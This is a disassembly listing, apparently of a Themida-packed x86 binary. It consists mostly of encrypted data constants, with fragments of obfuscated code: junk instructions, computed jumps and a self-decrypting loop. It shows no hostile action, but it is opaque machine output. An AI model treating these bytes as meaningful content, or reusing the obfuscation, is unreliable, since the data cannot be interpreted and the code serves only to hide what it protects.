0E8F3227Ah dd 31171DEEh, 45580658h, 0A5516A68h, 711DB54Dh, 658482Bh dd 44066A58h, 0CCEDE8B5h, 0C244929Dh, 0A2FAA613h, 13E0B80Ah dd 299642C2h, 7F576291h, 5383903Ch, 0EF9B1EB3h, 0E153FF97h dd 0AF27DD7Dh, 0E97CBA0Ch, 15F8D981h, 595h, 8B4A172Ch dd 0FB2A822Eh, 2916E6F0h, 0EE1F0AD1h, 6A7723BBh, 3A074F6Ch dd 1E762297h, 9503DFEFh, 89BA1E9h, 7657E546h, 9E2F064Eh dd 0B9784759h, 0F93FA9D8h, 58067F17h, 597F4C22h, 0A5E53766h dd 0D957372Eh, 42C7F8h, 13DE0000h, 0E9B1F9A5h, 854CBA1Ch dd 296D9C34h, 57E50366h, 0CFEEE5B2h, 963F1CA0h, 0EFD5DB23h dd 3580602h, 519743DBh, 5806036Fh, 0A13A587Ah, 0F8D9D6C4h dd 0E6CCD29Ah, 0FA58060Eh, 213DA3D2h, 54000001h, 63494F17h dd 0E651F1E8h, 8B17183Ah, 3B6329FDh, 0E6D5010Ch, 13AA2D3Ah dd 2DD7FECBh, 0D27E16A5h, 0D4E14B7Ah, 0A971B902h, 0F259BDA3h dd 7AA9D151h, 38D30310h, 0F25A4C32h, 0EB386051h, 0D028D4E7h dd 0A819F038h, 0E78C89B3h, 0F8DEE42Ch, 0C51F2E0h, 8FA5B5E4h dd 51F2E4BCh, 0C008B323h, 2BD7E2F3h, 0B794A4D3h, 0E4F09C1Fh dd 21890B76h, 0EAA64A68h, 9B330A52h, 0C9D44ABBh, 393F4574h dd 57E527FEh, 563284ACh, 6979E8h, 0AE601688h, 9CC8CE16h dd 0AA5DFBBDh, 17C3FADDh, 596672BFh, 0CC9A62Ah, 9E11F7FDh dd 0FD255E1Dh, 0B885CD65h, 8E569E1Fh, 1D9DA288h, 482E345Eh dd 5C5E1D9Eh, 17466E34h, 51AD2A07h, 0E9631486h, 1DF7720h dd 38908E19h, 0CF182610h, 9E000009h, 522F813Eh, 0DEA3C81h dd 0C7A4F6C5h, 7C59AB0Eh, 0D710625Bh, 0B508CFE1h, 6E4B8663h dd 26993F1Ch, 0DCDFF7D4h, 0F0F67E8Ah, 5809840Ah, 12BC231Eh dd 0CEA6F8C5h, 3FEBD201h, 29ADB8E7h, 91684092h, 9E82E4A7h dd 14FB2AB5h, 63494F17h, 7751F1E8h, 0A816204Fh, 1BE8B0F8h dd 0FB53FFBAh, 2C588CCh, 6B9357E5h, 19779BFh, 0BC1C5806h dd 8D4A5703h, 5C778430h, 682ACC61h, 0E2A0C289h, 6754824Fh dd 0C83463BBh, 0F8D9D79Dh, 0B161h, 4A177800h, 0F9043388h dd 0CE96DEDDh, 3FEBD201h, 0E87B61E7h, 3BFE51F1h, 0B90C803h dd 13426A30h, 823B9CA9h, 0D0BD90D6h, 0B22451F2h, 0FCDAB709h dd 990713BFh, 13D6ADF5h, 518D013h, 4D535988h, 57E5E412h dd 835098C0h, 64BC6853h, 0DB492535h, 8014EB33h, 11B1614Dh dd 0ECD1024Fh, 96B1B7BDh, 45DFB89h, 10C794DCh, 597E5BADh dd 0A9E8664h, 0B59F3891h, 8C9A7h, 8738A400h, 427B5835h dd 0FCBF13F0h, 0B108CDAAh, 6855825Fh, 0D5DBDD16h, 8C69BB02h dd 45227445h, 0FDDA2C93h, 8490E2D9h, 8510F6FCh, 29245809h dd 0F8C512C2h, 0AE0DC9A6h, 0C412A35Ch, 983E4BF7h, 53B3D123h dd 509848B6h, 0E501FF4Ah, 597E4B57h, 89B13564h, 967894E8h dd 0F462B4CDh, 4BFE044Ch, 775CC192h, 696189A0h, 0E2A77D63h dd 1269915Ch, 2C795669h, 0D6511AAh, 86325ADEh, 0D927B17Eh dd 54DB671Eh, 903CD4DBh, 0B478E138h, 9A8AF49h, 0FF62D0DAh dd 0E64649BFh, 5AA23A13h, 0D7558754h, 0E9315962h, 874CBA1Ch dd 79FF7877h, 0DA54D0Bh, 90462375h, 0EAE14D2Bh, 867033B3h dd 80978h, 47786400h, 2BB18F5h, 0BCFFD3B0h, 71488D6Ah dd 2895421Fh, 951B9DD6h, 4C297B42h, 5E23485h, 0BD9AECD3h dd 4450A219h, 85D0B6BCh, 0E9E45809h, 0F7C41282h, 5D76434Bh dd 0E7C4AAB0h, 0B0D851F1h, 71DFE918h, 0F0BD85CDh, 66AAD9E2h dd 57E50A77h, 573D430Bh, 6B58060Ah, 0B3901443h, 0BA029A25h dd 0DE1F0FE3h, 9DF4736Ch, 2C0AE937h, 4D5D8CB7h, 135B0371h dd 802C9146h, 0C3F6DB28h, 8A90BF17h, 0FDABAE84h, 0C4CAA25Dh dd 5E1DABDEh, 0EA32CAF2h, 0B002B91Dh, 0CB803D3h, 0A6EE9200h dd 154493A0h, 75BDE564h, 0C7F8E0ADh, 8994C31Bh, 3F1C6E4Dh dd 6C782497h, 40A52FEh, 6A286DA5h, 0A395739Bh, 0C22C6525h dd 740CAD8h, 0AF2D0000h, 0F2E1BE10h, 369C79CBh, 7F563385h dd 0CC0BE83Ah, 52669FF1h, 0F244795Eh, 0ABFDBC15h, 63B50ACEh dd 196B5086h, 997F850Dh, 0AD580986h, 4F174BB2h, 0F1E86349h dd 204F7751h, 0AD39A816h, 3FB4C71h, 757BC35Bh, 57EA6070h dd 8B18DBC2h, 3911BFD9h, 0B705EBF1h, 0F119580Ah, 0B13A1159h dd 7EA332E7h, 9286F140h, 47DFB4C3h, 37E3D8FAh, 0E2AAB0DFh dd 0AF5D4E0Bh, 215017D0h, 0A9FBC016h, 5B10ACCh, 9BE38BF9h dd 22EE41C4h, 76C38A27h, 292F5E5Bh, 0AD939961h, 3F580A50h dd 0A515339h, 793F6758h, 1D030951h, 31580A51h, 0A796DA09h dd 0BD5DFD72h, 2FC7F8E0h, 9001F151h, 909E8838h, 67Eh, 80D2EDEFh dd 3B8D30A3h, 0F547745Eh, 0AAFCBD18h, 61B30ACDh, 0B7209028h dd 0FAD7B406h, 48906DBFh, 8E482577h, 47CFDB2Dh, 9875B41h dd 0D746F58h, 8F44A513h, 484E962Eh, 57E98272h, 2EF63E66h dd 1C4B7261h, 0A4F6C511h, 0AC0FC7h, 92DA86F4h, 0C38622BBh dd 0ADDC474Ch, 0BF12DFA7h, 0A9F64EFAh, 8DE59128h, 0A40D1A5Eh dd 375F5E00h, 7B422EFh, 0F15DDB5h, 5E20A429h, 0DBE6153Dh dd 814C0FBh, 2897419Ah, 0B3804890h, 0BDAFDC1Eh, 0D9F2C990h dd 4A889541h, 0D56DC571h, 0C5714A88h, 9BFA3E6Dh, 91641322h dd 71C18B69h, 0E2CC327Ah, 5CDD4h, 833CA000h, 3E7F5431h dd 0F8C30FECh, 0AD0CC9A6h, 64597E5Bh, 0D1DFD912h, 8865B706h dd 411E7049h, 0F9D62897h, 808CDEDDh, 880CF2F8h, 25205809h dd 1D4017BEh, 137EE6EBh, 0FED8E312h, 0D20411BDh, 4DBB97E9h dd 598259A1h, 9821B4C0h, 3A3D94ECh, 515786EEh, 0E546B84Bh dd 52FE2657h, 6262A0Ch, 77133558h, 0D9B0095Ch, 3BF5F8h dd 130C0000h, 0ABB1F9A5h, 57E502E8h, 9CE28EB6h, 580602BAh dd 0EF18EFC5h, 6D1448A2h, 46DEE1F7h, 7485C517h, 0D7DD30A7h dd 5806DBF1h, 9945DD05h, 0BFA61241h, 3FF8D8FDh, 112h, 8E4A1756h dd 0E7957B81h, 81A951F1h, 2F353DE9h, 51F1E849h, 6E9D355Dh dd 9C487363h, 0C975488Fh, 0EAEC1ABCh, 0E8351B21h, 214951F1h dd 0ED85DD89h, 64A23441h, 7B3E9371h, 33DF77CFh, 0DBF143DBh dd 51F1EC08h, 0C54676Fh, 0F423963Fh, 0ECCF07E4h, 0C0FBD7A4h dd 0ECCF0714h, 2150E840h, 913DABB7h, 3DA04349h, 0D5AC57E5h dd 2DA8EDC3h, 3188E08Ch, 0BAE936BFh, 72585E36h, 865805F9h dd 9874C65Eh, 0B504D12Ah, 0E6D7FC09h, 0B24AE23Ah, 0D1E1646Ah dd 72F5DFAh, 0D8E5F2BFh, 0D6FBC890h, 59DF37E3h, 5E1CB173h dd 20305F87h, 4B299443h, 3891C40Bh, 6F9EAC96h, 0FE000004h dd 0B28FE1DEh, 6D4A9C21h, 27045665h, 0DCB90BAEh, 3770C2FBh dd 15A82F81h, 0CEEBE6C3h, 86399F7Ch, 3C7F5734h, 5056DEEAh dd 5809896Ah, 121C837Eh, 0E8B0F8C5h, 0CE7C1311h, 36BC6324h dd 51F22A50h, 6E518764h, 0A3D26AC2h, 9B20B693h, 0F79A7149h dd 0D34E3419h, 760EAD29h, 0A5136047h, 1D4A5C3Ah, 64FCE2E4h dd 453161Ch, 0F92157E5h, 425074Dh, 0E305806h, 0D60E574Ch dd 0C8F0F8D9h, 7000000h, 4BF7C412h, 7824993Eh, 0F1EC5F32h dd 0AB10C651h, 615A7C59h, 0F1E0ADB5h, 0F2E41709h, 19B1D4F1h dd 0DCE6156Dh, 0AD7AC26Eh, 5D639229h, 0E543B457h, 805B4257h dd 93A061A9h, 7A56A840h, 161C640Ch, 5DFB07F2h, 8D2CA582h dd 0A9F189E1h, 0FCBD14E1h, 0E915C2CDh, 0FBD65CFBh, 97DF77BAh dd 0AD22D4C0h, 0C2F115AFh, 602D5B2h, 359DEACFh, 0EA82DA86h dd 90C2540Ch, 69776138h, 372h, 8CDEE1FBh, 479924AFh, 153686Ah dd 0B608B124h, 6DBFFED9h, 0AB2C8434h, 0EEE3C012h, 3C9C79CBh dd 82543183h, 53DBE739h, 98A674Dh, 19807B58h, 2E8B4A17h dd 25E3F4FFh, 75F0BB2h, 0E7D3B9BFh, 0BFE751F1h, 0DEF8D527h dd 12D28BDDh, 3E4BF7C4h, 0B3D12398h, 9A46B451h, 0AA508552h dd 0C85A49F9h, 24D0680Bh, 0C230161Ch, 1C4451F2h, 494F5584h dd 57E5DBFEh, 0AF03A4CCh, 0FBD97415h, 99E18DFBh, 0B1F606CCh dd 0DAF83262h, 5B619028h, 0DFC5CB93h, 0F3FC3C6Ch, 6D2F151Bh dd 1B43FC3Ch, 0D9105483h, 0D022F8Eh, 9B53C636h, 552F13CEh dd 1874CBDFh, 0D5598837h, 87F501ADh, 14C28FD7h, 8407A3E8h dd 740C77BCh, 6410AB27h, 0D1D7DD0Ch, 8449C04h, 9966AED6h dd 69367E3Dh, 13235269h, 3D1BA036h, 8E46D92Dh, 87A4B29Ch dd 0E6000002h, 9A77C9F6h, 55328439h, 0FEC3E7Dh, 0C4A1F3C6h dd 1F58AA13h, 0FDC01799h, 0B603CEABh, 6E518764h, 24973F1Ch dd 383EC6D2h, 58098B52h, 12046B66h, 0FDA638C4h, 5243F23Fh dd 94020EBAh, 0FB9EA4ECh, 8957E60Ah, 95F10F61h, 61177AE8h dd 0DD3DC0AAh, 0DDA5ED85h, 4CF8C110h, 3681C5F4h, 45DF9B5h dd 0CC794DCh, 852B5AB1h, 0FF3EA708h, 2F1D71D0h, 0C1F8A85Ch dd 2CD8E1F4h, 2D9BA5D4h, 80333981h, 0AC209C57h, 0C513F3DFh dd 5EF64EFAh, 0D783AB2Fh, 69B15DCBh, 0B1D89663h, 0F8406826h dd 0BE10AB2Bh, 0ED620FE6h, 0DA97CC3h, 0CE2596BBh, 64AC5834h dd 0D40F785Eh, 35648C26h, 595FAC2Ah, 26D40F73h, 0E9C75F87h dd 6FDA668Bh, 0B75A6852h, 0B6000001h, 6A479926h, 25025469h dd 0DFBC0EADh, 9471C3F6h, 0EF287A43h, 0CDF0E7C9h, 86339E7Bh dd 3E815734h, 0F4C70FECh, 80E96A2h, 58098C22h, 12D43B36h dd 3F4BF7C4h, 0DFE52DD1h, 57E5ED7Ch, 91A0A38Ah, 0C2BAE681h dd 61BAD82Ah, 0E6EC44B2h, 58062100h, 0C8744B8Dh, 0EA82AA70h dd 0C80DDAA2h, 8820993Ch, 0F423963Bh, 0F93A65B0h, 6A0B335Dh dd 0AB46D016h, 0B01EF4h, 0B523F0B8h, 0D7065E0Ah, 42E093h dd 0BA668E1Dh, 489040AEh, 15C37542h, 0D71F4723h, 2895420Fh dd 0D3E8EEF9h, 0E9D2A981h, 4529BA42h, 874F5A89h, 81987E84h dd 0C5AC2338h, 54B8E8D9h, 9C34CC69h, 7605C0BEh, 39473173h dd 0F6h, 85A6577h, 0C315A82Bh, 7DCFECE6h, 328435A0h, 0E93B8255h dd 2FA808B0h, 725F3C8Eh, 0C018F547h, 6D0ADFFh, 0CF5763B5h dd 98CE3C9h, 95FCF758h, 0AFF7C412h, 0E7FBE1E7h, 320F51F1h dd 146C18A5h, 0D7E34D7Ch, 290F1569h, 0BB51F1E8h, 0F1E7CFB5h dd 0F5BBE351h, 25ED35CDh, 96427B58h, 0AF0F63Eh, 1E51F1E8h dd 4083C7F6h, 0E57E512h, 4AB894E6h, 0B122E6F1h, 7008600Ch dd 0FEADC4h, 0FDAF6F63h, 0BD85CD65h, 5909EFF5h, 0F51D5806h dd 0F17982C6h, 9BC35DFDh, 0C7F4E2EFh, 7D3E9875h, 3EDE8BD1h dd 1C806CB3h, 0FD03CB7Eh, 8F141E17h, 36834E2Bh, 6B9A328Ah dd 0F3457660h, 454BC016h, 8F141E5Fh, 7B409673h, 979F4BE3h dd 2AE0BCAh, 0F06911EBh, 0DA72C432h, 8435A0ABh, 0A1E183D8h dd 28704B8Bh, 0B745A60h, 60888F14h, 92442131h, 36F7D29h dd 0C6000000h, 0CA127DE4h, 9A3C49F5h, 70687521h, 3B96A34Fh dd 12C5D27Eh, 0E5F2FFABh, 0B61F2CD8h, 884A5703h, 597A8733h dd 6833B864h, 5E3Eh, 68241489h, 1D29h, 56240489h, 0C681E689h dd 4, 8704EE83h, 895C2434h, 68512414h, 29B81FFBh, 81240C8Bh dd 4C4h, 0F7D9F700h, 80C181D1h, 8159175Bh, 0B7E102E9h dd 59C8897Ch, 24148B54h, 4C481h, 56500000h, 631416BEh dd 2474312Ch, 428F5E04h, 8728108h, 2C631416h, 5324148Bh dd 0C381E389h, 4, 8704C383h, 0FF5C241Ch, 83582434h, 1CE904C4h dd 89FFFCD7h db 0, 75h ; --------------------------------------------------------------------------- loc_5832E6: ; CODE XREF: Themida_:005825E4j mov eax, 617A680h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0F1h dd 0C8746883h, 481A04A4h, 3634B0D9h, 0D5184827h, 8A699DCEh dd 0F07ACA12h, 8B6E8767h, 0FF53A882h, 0E5747305h, 0CF768933h dd 16CFD07h, 0E9575547h, 148h, 78h, 7Ch, 80h, 84h, 88h dd 8Ch, 90h, 94h, 0D8h, 0DCh, 0E0h, 0E4h, 0E8h, 0ECh, 0F0h dd 0F4h, 0F8h, 0FCh, 100h, 104h, 108h, 10Ch, 110h, 114h dd 38h dup(0) ; --------------------------------------------------------------------------- test [ebx], dh pop eax add bl, ch push eax mov ds:45858D00h, al cmpsd pop ss push es mov [ebp+6140D15h], ecx mov [ebp+617A885h], eax jmp loc_58348B ; --------------------------------------------------------------------------- mov esp, 938F1667h inc eax xchg ebp, [esi] loc_58348B: ; CODE XREF: Themida_:0058347Ej mov byte ptr [ebp+6141A59h], 54h mov esi, 7C5AD53Ch push 0E89DE084h add dword ptr [esp], 5C487A5h mov ecx, edi sub [ebp+6140E45h], esi push dword ptr [ebp+6141AD1h] mov bh, 2Dh lea eax, [ebp+61780DBh] xor [ebp+6142ED1h], edi call eax mov [ebp+6142A9Dh], esi mov [ebp+617A889h], eax mov ebx, [ebp+6140A65h] jmp loc_583516 ; --------------------------------------------------------------------------- db 0Fh, 0B7h, 0F2h byte_5834DB db 56h ; DATA XREF: Themida_:0054993Co ; Themida_:0054B04Co ... dd 0A885B58Bh, 6890617h, 0A8858583h ; --------------------------------------------------------------------------- loc_5834E8: ; CODE XREF: Themida_:0058352Ej pop ss push es add al, 5Eh retn ; =============== S U B R O U T I N E ======================================= sub_5834ED proc near ; DATA XREF: Themida_:0054A988o pusha lea esi, [ebp+617A745h] jmp short loc_583505 ; --------------------------------------------------------------------------- loc_5834F6: ; CODE XREF: sub_5834ED+1Bj push esi push 0 push dword ptr [esi] call dword ptr [ebp+617A889h] pop esi add esi, 4 loc_583505: ; CODE XREF: sub_5834ED+7j cmp dword ptr [esi], 0 jnz short loc_5834F6 popa retn sub_5834ED endp ; --------------------------------------------------------------------------- and edx, [ebp+61412C1h] mov si, 0ABA0h loc_583516: ; CODE XREF: Themida_:005834D3j lea eax, [ebp+617A90Eh] mov bl, ah mov [ebp+6141DA9h], eax call near ptr loc_583530+1 nop and al, 58h cmp cl, al jz short loc_5834E8 loc_583530: ; CODE XREF: Themida_:00583524p btc ecx, 45h jp short near ptr loc_58358B+3 pop esi jg loc_583543 mov [ebp+6140FA5h], ebx loc_583543: ; CODE XREF: Themida_:00583537j add esi, 5F57h mov [ebp+6140981h], ebx sub ecx, ecx jmp loc_583566 ; --------------------------------------------------------------------------- dw 0EE18h dd 50CC87BEh, 1CC41E5Fh, 0D4638863h db 69h, 3Eh ; --------------------------------------------------------------------------- loc_583566: ; CODE XREF: Themida_:00583551j ; Themida_:005835DCj push dword ptr [ecx+esi] jle loc_583572 mov bx, si loc_583572: ; CODE XREF: Themida_:00583569j pop eax jle loc_58357F mov [ebp+6140CF5h], esi loc_58357F: ; CODE XREF: Themida_:00583573j sub eax, 18CAFF14h add eax, 4DB0EC19h loc_58358B: ; CODE XREF: Themida_:00583534j jns loc_583596 mov edi, 4A449E00h loc_583596: ; CODE XREF: Themida_:loc_58358Bj sub eax, 67B11BFFh mov bx, cx push eax mov edx, [ebp+6142F39h] pop dword ptr [esi+ecx] mov dh, 53h cmc sub ecx, 2 mov [ebp+6141095h], edx dec ecx dec ecx mov [ebp+61420C1h], edx cmp ecx, 0FFFFA168h jnz loc_5835D6 movzx edx, ax jmp loc_5835EC ; --------------------------------------------------------------------------- db 8Ah, 0Dh, 0F9h ; --------------------------------------------------------------------------- jge short loc_583627 loc_5835D6: ; CODE XREF: Themida_:005835C3j or [ebp+6142B4Dh], edi jmp loc_583566 ; --------------------------------------------------------------------------- db 7Eh, 20h, 0Ch dd 17E6FEA6h, 7E265A71h ; --------------------------------------------------------------------------- loc_5835EC: ; CODE XREF: Themida_:005835CCj jmp loc_583666 ; --------------------------------------------------------------------------- pusha mov ax, ds test al, 4 jz loc_583632 push 1 push dword ptr [ebp+6141145h] lea eax, [ebp+61780DBh] call eax mov [ebp+6140CBDh], eax mov edi, esi shr edi, 0Ch push 20040000h push 0 push 2 push edi push 1000Dh loc_583627: ; CODE XREF: Themida_:005835D4j call dword ptr [ebp+6140CBDh] jmp loc_583664 ; --------------------------------------------------------------------------- loc_583632: ; CODE XREF: Themida_:005835F7j mov byte ptr [ebp+6141A59h], 56h loc_583639: ; CODE XREF: Themida_:00583694j push 0A9C530DFh push dword ptr [ebp+6141AD1h] lea eax, [ebp+61780DBh] call eax mov [ebp+6142C1Dh], eax lea eax, [ebp+6140101h] push eax push 20h push 5 push esi call dword ptr [ebp+6142C1Dh] loc_583664: ; CODE XREF: Themida_:0058362Dj popa retn ; --------------------------------------------------------------------------- loc_583666: ; CODE XREF: Themida_:loc_5835ECj shl eax, 6 jmp short loc_5836A4 ; --------------------------------------------------------------------------- align 4 dd 0CC00C200h, 0E400C202h, 0C202h, 46000000h, 5E4682CEh dd 0E5779BC2h, 31238ACAh, 4E4E81CEh, 0FD4F8B89h, 8C77A1A7h ; --------------------------------------------------------------------------- jmp short loc_583639 ; --------------------------------------------------------------------------- db 23h byte_583697 db 2Ah ; DATA XREF: Themida_:00549940o dd 5753A0D3h, 6B4BBBC9h, 8C478EC2h ; --------------------------------------------------------------------------- loc_5836A4: ; CODE XREF: Themida_:00583669j mov dword ptr [ebp-13B0EEDDh], 0CFA72323h jl short loc_583702 clc pop di in al, dx mov ds:0A340676Eh, eax repne and esi, [edx] cmpsd test al, 74h fisub dword ptr [esi] hlt ; --------------------------------------------------------------------------- dw 49A0h dd 781B9058h, 96A8B2FDh, 9737CCF6h, 0C8492F2Ch, 642007F7h dd 6A03EFA7h, 5DAAB764h, 0C8A2EB83h, 463BEB83h, 7363EFA7h dd 23510B64h, 4D2C9F20h, 6423EFA4h, 0B1070927h, 0D135E1Ah db 0A1h, 0EFh ; --------------------------------------------------------------------------- loc_583702: ; CODE XREF: Themida_:005836AEj push esi test [edx+edx*2], esp retn 0B35Ch ; --------------------------------------------------------------------------- db 0E9h, 23h, 57h dd 1A70BFBEh, 0CC9A5767h, 0E1AAEFA7h, 3437F5EEh, 0AE19722Ah dd 5FDCE9B1h, 0FBA0B7FCh, 2537F546h, 0C1349BA7h, 0CC9A57F4h dd 0E1AAEFA7h, 3437F5EEh, 0AD0A722Ah, 5FDCE9B1h, 0FBAAB7FCh dd 2537E40Ah, 24B664F5h, 9225FB8Eh, 42A26A2Eh, 0F2A8E9B3h dd 0F172EFCDh, 8C23EFA4h, 1FE0B687h, 2707A32Eh, 9507AB26h dd 0C823EFBBh, 93E0BEE6h, 0DCF4487Ch, 0B2EE8DC4h, 967A6A61h dd 2C75E9B3h, 20CBBFA7h, 0B123EFA7h, 417B2CFFh, 0E527CBE3h dd 2E27CBE3h, 5923EFA7h, 99A2CF7h, 25184103h, 0AA7DF13Eh dd 8529963Ah, 0A0F064A1h, 0C8454C0Bh, 3223E84Eh, 424FCA7h dd 8694E1DDh, 0B807DB26h, 0AA1321BCh, 8535962Ah, 199610A1h dd 6B25FBBDh, 0B7AE1918h, 1F346F7Ch, 6472EFCDh, 4623EFA4h dd 7AE0B687h, 9507A32Eh, 0CC07AB26h, 6423EFBAh, 0B3E0BEE6h dd 45FFF2EEh, 0AD1DC84h, 0F39664DFh, 2C25FBA1h, 9123EF2Ch dd 0A2F310A7h, 67CBBFA7h, 1223EFA7h, 907B2CFFh, 0D27CBE3h dd 5C27CBE3h, 6323EFA7h, 17292CF7h, 0E277DFE7h, 0E595D59h dd 612385A3h, 1923EC4Fh, 4F78CFA7h, 627F66FCh, 7676EA3h dd 9123F7A3h, 0B70ACA7h, 0A51D0E40h, 0CBC387A5h, 93439F19h dd 82AFE06Ch, 0AE23EFA7h, 2323EFAFh, 0F1C2DEE3h, 40EF30D7h dd 50A28EFDh, 8CCA0F83h, 482385D7h, 8C23EC4Fh, 857ACFA7h dd 76F66FEh, 0B5676EA3h, 0C823F8A3h, 0A772AEA7h, 34EA867Eh dd 193562A8h, 9DCAEFA7h, 3F23EFA7h, 0E3BA723Ah, 1AD4F9B8h dd 59DDC463h, 261F2E17h, 0A2BECECFh, 1CADE020h, 3323EFA7h dd 6D8BC6CAh, 0E807EB26h, 105B80C2h, 0FE923F69h, 0E2385CDh dd 31CBBCA7h, 3923EFA7h, 5782CFCh, 0C727CBFBh, 3927CBE3h dd 0D223EFA7h, 0FA932CF4h, 0DE455638h, 2CA6E037h, 7923EFA7h dd 56B33526h, 57CA8483h, 0DE23EFA7h, 0F7A1498Fh, 11A42E1Ah dd 0C4FE44E4h, 608A06E0h, 0E60559C6h, 0D9238577h, 4623EC4Fh dd 0E07ECFA7h, 0B54F66FAh, 0EC676EA3h, 6423F3A3h, 0F176AAA7h dd 0AD5B7A5h, 90F7C7ECh, 2A9A8934h, 92B6C6E4h, 1825FBA4h dd 0DF896322h, 1FCD6EA1h, 0B96DDD29h, 1BEFEA5Fh, 9AAEFA7h dd 40344537h, 0AA3B2F24h, 86897B22h, 71E3DCA1h, 6423ED4Bh dd 0F4DB4554h, 0D39B622h, 8C49ACA1h, 462007F7h, 7B03EFA7h dd 0D5AAB764h, 8CA2EB83h, 6439EB83h, 6263EFA7h, 490C8F64h dd 0A8F0141Fh, 5BC26BCFh, 0D0A88922h, 4B07DB26h, 303A952Dh dd 7EF25A58h, 0B7AEE9B3h, 1F346F7Ch, 8C9A522Eh, 96DCE9B3h dd 21FE728Eh, 0CAAE9B3h, 0CE37DE62h, 74226A2Eh, 0BFAAE9B3h dd 1F37FD7Eh, 81B26A2Ah, 4649E9B3h, 232007F1h, 0CF03EFA7h dd 0BCAAB164h, 20A2EB83h, 323AEB83h, 4F65EFA7h, 10D47E64h dd 17680B30h, 0AB25A2Ch, 187CE9B3h, 0DC399E22h, 312385A1h dd 3223EC4Fh, 0DA7ECFA7h, 0A84F66FAh, 62676EA3h, 2323F8A3h dd 5276AAA7h, 783FACDBh, 0E1E5382Ch, 3437F5FEh, 4C2385F4h dd 8C23EC4Fh, 857ECFA7h, 74F66FAh, 0B5676EA3h, 0C823F7A3h dd 0A776AAA7h, 4228B18h, 0ADC856CBh, 33459931h, 684B5F43h dd 70FCDAD5h, 91216FA8h, 0A943EFA7h, 40276EF9h, 2F58390Dh dd 0F170EFCDh, 8C23EFA4h, 1DE0B487h, 2707B32Eh, 9507AB26h dd 0C823EFBAh, 9AE0BCE4h, 0FF2EF912h, 0C3770F5Bh, 559D89FDh dd 979610EBh, 4925FBBDh, 92CBBEA7h, 0E823EFA7h, 0ED7A2CFEh dd 0B327CBEBh, 227CBE3h, 0CD23EFA7h, 79CC2CF6h, 1ED28194h dd 14AE6047h, 0CE346F7Ch, 8C76EFCDh, 3223EFA4h, 44E0B287h dd 8807832Eh, 4207AB26h, 2323EFB2h, 6CE0BAE2h, 4945BE32h dd 3D1D917Eh, 32256AA8h, 9CAAEFA7h, 8A37DF1Ah, 0B9F064C1h dd 0B60A8F77h, 9737DFDEh, 0A1A666C6h, 0E25FBB6h, 31CBB9A7h dd 3923EFA7h, 57D2CF9h, 0C727CBD3h, 3427CBE3h, 0D723EFA7h dd 0B6622CF1h, 0E1E55EBEh, 3437F5FEh, 0A1C451F4h, 574B9E14h dd 0AEB79DBDh, 2323EFA2h, 57EF72A9h, 0CCA2B1EDh, 0C28A3783h dd 0B796ECE4h, 0E625FB82h, 98393E12h, 142385A1h, 2323EC4Fh dd 5279CFA7h, 0EC7766FDh, 40676EA3h, 3223F4A3h, 0DA71ADA7h dd 72B24BC1h, 2EC06918h, 0CE96E6C7h, 1825FBA8h, 0DC202A22h dd 0E1AE8EA1h, 34346F7Ch, 1D0E7AAEh, 5CDCE9B3h, 46216DA8h dd 0F7A9EFA7h, 0BBD66A2Eh, 45A8E9B3h, 6237DFCEh, 287A6A61h dd 0E564E9B3h, 0DF3593CFh, 5E59500Bh, 27A28847h, 1AE4C283h dd 199610ACh, 0EF25FBBDh, 260CFA32h, 0C2A662A1h, 0E625F827h dd 45CBBFA7h, 323EFA7h, 187B2CFFh, 4927CBE3h, 7227CBE3h dd 7223EFA7h, 0AE452CF7h, 0E5BEC655h, 0B925FBB4h, 72238577h dd 9123EC4Fh, 0B7ACFA7h, 406F66FEh, 16676EA3h, 1923FBA3h dd 4F72AEA7h, 0AFA289A9h, 0A6AAD6B4h, 9737EA1Ah, 4DE5B5F6h dd 6237F5FEh, 632385E0h, 1923EC4Fh, 4F7ACFA7h, 626F66FEh dd 7676EA3h, 9123F4A3h, 0B72AEA7h, 1DCC368Ch, 73ABEED9h dd 360A6AA6h, 514BE9B3h, 167B72FFh, 0FCA88FF5h, 9123E64Fh dd 47D3A1A7h, 0A234AAEAh, 5378C634h, 8CADEA8h, 9123EFA7h dd 97268866h, 89024BD1h, 1D95CF2Fh, 0E7F91C09h, 60A2B7FDh dd 0C947283h, 0DCD56F8Eh, 96F25A58h, 4649E9B3h, 232007F1h dd 0CF03EFA7h, 0BCAAB164h, 20A2EB83h, 3237EB83h, 4F65EFA7h dd 0A29D0164h, 20168846h, 0FB770E26h, 11F86A2Ah, 552AE9B0h dd 6237E45Ah, 0B2753F58h, 90796A45h, 9825CA22h, 162385A1h dd 2323EC4Fh, 527BCFA7h, 0EC6766FFh, 40676EA3h, 3223F6A3h dd 0DA73AFA7h, 990630F8h, 0C745A5AAh, 0CA162D75h, 9123EFA9h dd 60021D03h, 37E8328Bh, 0F58A8B40h, 9CE5C0B1h, 8A37F5FEh dd 132385E0h, 2323EC4Fh, 527ECFA7h, 0EC4F66FAh, 40676EA3h dd 3223F9A3h, 0DA76AAA7h, 0A56D00BFh, 5201FE1Ah, 439287A1h dd 95A2A898h, 45F84383h, 0D1DC16C4h, 3437F576h, 0F174EFCDh dd 8C23EFA4h, 19E0B087h, 2707932Eh, 9507AB26h, 0C823EFBDh dd 50E0B8E0h, 44674D87h, 94AA9736h, 8A37C096h, 4B3672A6h dd 0A6AEE9B3h, 97346F7Ch, 0FECD6EC1h, 8CF310D5h, 3223EFA2h dd 50CBE3C5h, 56A28961h, 0CD7A6FCEh, 372A3A12h, 0DCA666A1h dd 0A225FBACh, 67CBBAA7h, 1223EFA7h, 907E2CFAh, 0D27CBCBh dd 5327CBE3h, 6623EFA7h, 0BBE02CF2h, 0C69D3F58h, 4734239Ch dd 2623DA2Ah, 30A666A1h, 0E625FBACh, 45CBBCA7h, 323EFA7h dd 18782CFCh, 4927CBFBh, 7127CBE3h, 7123EFA7h, 0F22C2CF4h dd 7FB63C1h, 52135A12h, 4527CBA1h, 4E802D26h, 4C2C2FADh dd 6423EC16h, 287A6A61h, 736CE9B3h, 8FCBBAA7h, 6623EFA7h dd 0AA7E2CFAh, 1027CBCBh, 0DC27CBE3h, 2123EFA7h, 0BB0D2CF2h dd 0D0CDE1Ah, 45A666A1h, 2E25FB89h, 0F5E2C319h, 0DC3C55F0h dd 497ACB0Ah, 2459CB93h, 0B70A86E6h, 1F37FFDAh, 96F25A58h dd 4649E9B3h, 232007F0h, 0CE03EFA7h, 0B4AAB064h, 20A2EB83h dd 3239EB83h, 4E64EFA7h, 0E0C264h, 2523622h, 23256AA8h dd 1D2CEFA7h, 0C823EFA7h, 0D1AEE6F6h, 6825FB89h, 99F86A2Ah dd 8C49E9B0h, 